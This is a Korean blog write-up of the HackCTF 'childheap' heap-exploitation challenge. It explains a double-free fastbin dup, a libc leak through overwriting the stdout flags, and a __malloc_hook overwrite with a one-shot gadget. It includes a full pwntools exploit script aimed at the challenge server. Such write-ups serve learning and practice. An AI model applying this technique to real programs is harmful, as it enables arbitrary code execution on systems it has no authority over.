Pwnstar
hackctf childheap 본문
너무 오랬동안 문제를 안풀어서 오랜만에 워게임 문제도 풀 겸해서 핵시텦 포너블 남은 문제 중 하나를 풀어봤는데, 역시 너무 오랜만에 그것도 힙 문제를 풀어서 그런지 라업 도움을 좀 받았다. 라업 보고 보길 잘했다는 생각이 든게, libc 릭을 할 방법을 도저히 못찾아서 라업을 본거였는데 이거는 한달 잡아도 못풀었을듯 새로운 방법을 알게되서 좋았다.
문제는 상당히 심플하다. 메뉴엔 malloc과 free 딱 두가지만 존재하고, double free bug가 발생하고 fastbin dup 취약점이 터지는 걸 알 수 있다.
요 문제는 상당히 자세히 설명해 놓은 분들이 많아서 자세한 설명이 필요하신 분들은 맨 아래에 적어놓을테니 그 곳에서 보는 것을 추천한다.
exploit 시나리오
1. 0x80만큼의 malloc을 하고 double free시키면 그 fd와 bk의 부분에는 main_arena+88의 주소가 들어가게 된다.
2. 이 주소의 하위 2바이트를 stdout - 0x43의 주소로 덮어야하는데 해당 주소의 하위 2바이트의 주소는 0x?5dd이며, ?는 알 수 없으므로 숫자 하나를 잡아서 돌리다가 맞길 기도해야 한다.
3. 이후 malloc을 총 네번 진행시키게 되면 마지막에 malloc하는 곳은 stdout-0x33의 위치에 값을 넣을 수 있음.
여기서
rninche01.tistory.com/entry/stdout-flag%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-libc-leak
stdout flag를 이용한 libc leak
stdout flag값을 변경하여 libc주소를 leak하는 방법을 정리하였다 따로 libc주소를 leak할 방법이 없을 때 유용하게 쓰일 것 같당ㅎㅎ 관련 문제 : [HackCTF/Pwnable] ChildHeap stdout을 이용한 libc주소 leak &..
rninche01.tistory.com
요 블로그 보는 것을 추천함 보면 이해는 잘 가는데, 그래도 스스로 한 번 더 정리를 해봐야 머릿속에 오래 남을 것 같다. 그건 내일...
4. 이렇게 libc leak을 진행하고, malloc_hook을 원샷 가젯으로 덮어주면 된다.
ex.py
from pwn import*
while(1):
#p = process("./childheap")
p = remote("ctf.j0n9hyun.xyz", 3033)
e = ELF("./childheap")
libc = e.libc
stdout_off = libc.symbols['_IO_2_1_stdout_']
hook_off = libc.symbols['__malloc_hook']
script = '''
b*0x0000000000400AE8
b*0x0000000000400A82
'''
#gdb.attach(p, script)
def mal(idx, size, content):
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(idx))
p.sendlineafter(": ", str(size))
p.sendafter(": ", content)
def free(idx):
p.sendlineafter("> ", "2")
p.sendlineafter(": ", str(idx))
mal(0, 0x60, "A"*0x20)
mal(1, 0x80, "B"*0x20)
mal(2, 0x60, "C"*0x20)
free(1)
log.info("free done")
mal(1, 0x60, p16(0x25dd))
mal(3, 0x60, "E"*0x8)
free(3)
free(0)
free(3)
mal(0, 0x60, p8(0x70))
mal(1, 0x60, "F"*0x8)
mal(2, 0x60, "G"*0x8)
mal(3, 0x60, "H"*0x8)
try:
payload = p64(0xfbad1800)
payload += "\x00"*25
mal(4, 0x60, "Z"*3 + p64(0)*6 + payload)
except:
p.close()
continue
p.recv(0x40)
libc_base = u64(p.recv(6) + "\x00"*2) + 0x20 - stdout_off
log.info("libc base = " + hex(libc_base))
mal(0, 0x60, "I"*0x8)
mal(1, 0x60, "J"*0x8)
free(0)
free(1)
free(0)
mal(0, 0x60, p64(libc_base + hook_off-0x13))
mal(1, 0x60, "K"*0x8)
mal(2, 0x60, "L"*0x8)
mal(3, 0x60, "A"*3 + p64(libc_base + 0xf1147))
p.sendlineafter("> ", "1")
p.sendlineafter(": ", "1")
p.sendlineafter(": ", "1")
p.interactive()
원래는 puts라든가 다른 주소를 덮어주고 싶었는데...
왜인지 모르게 덮히지가 않는다 방식은 같은데 말이지...
leak만 할줄 알게 된다면 금방 풀 수 있을듯하다.
참고
rninche01.tistory.com/entry/HackCTFPwnable-ChildHeap#recentComments
[HackCTF/Pwnable] ChildHeap
stdout을 이용한 libc주소 leak & fastbin dup 1. 문제 nc ctf.j0n9hyun.xyz 3033 1) mitigation 확인 2) 문제 확인 3) 코드 흐름 확인 3-1) main() int __cdecl __noreturn main(int argc, const char **argv..
rninche01.tistory.com
[HackCTF] childheap
[HackCTF] childheap Date @Feb 03, 2020 Tags report 1. 문제 1) mitigation 확인 카나리, NX 가 걸려있다. PIE는 안걸려있다. 2) 문제 확인 1번을 선택하여 원하는 인덱스에 malloc으로 content를 삽입 가능하다..
wogh8732.tistory.com
'Wargame > HackCTF' 카테고리의 다른 글
hackctf 훈폰정음 (0) | 2021.02.02 |
---|---|
HackCTF 풍수지리설 (0) | 2020.07.22 |
HackCTF pwning (0) | 2020.07.20 |
HackCTF Unexploitable #3 (0) | 2020.06.29 |
HackCTF j0n9hyun's secret (0) | 2020.06.29 |